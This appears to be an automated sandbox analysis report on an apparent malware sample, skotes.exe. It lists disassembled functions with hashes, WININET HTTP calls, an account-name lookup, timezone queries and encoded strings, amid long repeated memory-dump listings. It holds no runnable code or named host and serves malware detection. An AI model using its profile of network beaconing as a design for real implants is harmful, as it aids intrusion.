Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: d0c1daf4013c0543da6bf31731d34636c906cb38c1db95ed46a730ad68f8f8df
Instruction ID: e088dc536fcf27c767425beedc75f2007a07f0b1bc79f6f5d150e2cc8168c853
Opcode Fuzzy Hash: d0c1daf4013c0543da6bf31731d34636c906cb38c1db95ed46a730ad68f8f8df
Instruction Fuzzy Hash: B0211D71A10119AFDF01EFA4DC859BEB7B9EF4A710F100026FA01AB251DF709D519BA0

Function 002CF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 002CF3A3

Strings

`'/, xrefs: 002CF375
8"/, xrefs: 002CF44B

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"/$`'/
API String ID: 3903695350-428233942
Opcode ID: f188ed7bb850bcef616d1abea53037ea88bb30503cbca853755cd23d012b8637
Instruction ID: 2e44b7d8f9b859899176b3460b5254ac22b212b428b1078bd8b3cbe16554520a
Opcode Fuzzy Hash: f188ed7bb850bcef616d1abea53037ea88bb30503cbca853755cd23d012b8637
Instruction Fuzzy Hash: 7D318931620646EFEB74AE39D945F5B73EAEF00356F10462DE04AD7591DE31ACA08A11

Analysis Process: skotes.exePID: 5388, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.9%
Total number of Nodes:	558
Total number of Limit Nodes:	59

Executed Functions

Function 002D2517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,002E6758), ref: 002D275C

Strings

Eastern Standard Time, xrefs: 002D27CB
Eastern Summer Time, xrefs: 002D27FA
Xg., xrefs: 002D2705, 002D270B

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg.
API String ID: 565725191-150185857
Opcode ID: 2a618c2947522ab4bad9aace57b4a65d99674ec45c5b41ba148764ab8717e87b
Instruction ID: b3be90e0943bd4cae1dc8a3b43de4ed2035e9be9eddd87ac3cb416a84aaf18e7
Opcode Fuzzy Hash: 2a618c2947522ab4bad9aace57b4a65d99674ec45c5b41ba148764ab8717e87b
Instruction Fuzzy Hash: D1C15B71920206DBDB249F68DC45BBABBADEF65360F1441ABE840D7352E731CE19CB90

Function 002965E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00296680

Strings

ISNmfV==, xrefs: 002967D1
GSTmfV==, xrefs: 00296728
RySfdMLx, xrefs: 0029669C

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 65c9183af8d13dbe68a1de0e2827a33b0a1a97d4f42ff7deaa17be0ce45f118f
Instruction ID: dfd0efc1d761ff2eb2dadee96d0630f3a4f36fe9784b26f89b87113649bcefdf
Opcode Fuzzy Hash: 65c9183af8d13dbe68a1de0e2827a33b0a1a97d4f42ff7deaa17be0ce45f118f
Instruction Fuzzy Hash: 5391B4B19101189BDF28DF64CC89BEDB7B9EB45304F4045E9E51997282DB309BD8CFA4

Function 0029BE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000005DC,CAE02C6D,?,00000000), ref: 0029BEB8
InternetOpenW.WININET(002E8DC8,00000000,00000000,00000000,00000000), ref: 0029BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0029BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0029BF36
HttpSendRequestA.WININET(?,00000000), ref: 0029BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0029C0A8
InternetCloseHandle.WININET(?), ref: 0029C187
InternetCloseHandle.WININET(?), ref: 0029C18F
InternetCloseHandle.WININET(?), ref: 0029C197

Strings

invalid stoi argument, xrefs: 0029E4F4
8HJUeMD Lq5=, xrefs: 0029C465
RE1NXF==, xrefs: 0029BF0E
8HJUeIfzLo==, xrefs: 0029C3CB, 0029C623
stoi argument out of range, xrefs: 0029E4EA

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 34a3bd59b229b9efc74a361c1ca909672babeabc2f8309f4c4f8c10df3361ac2
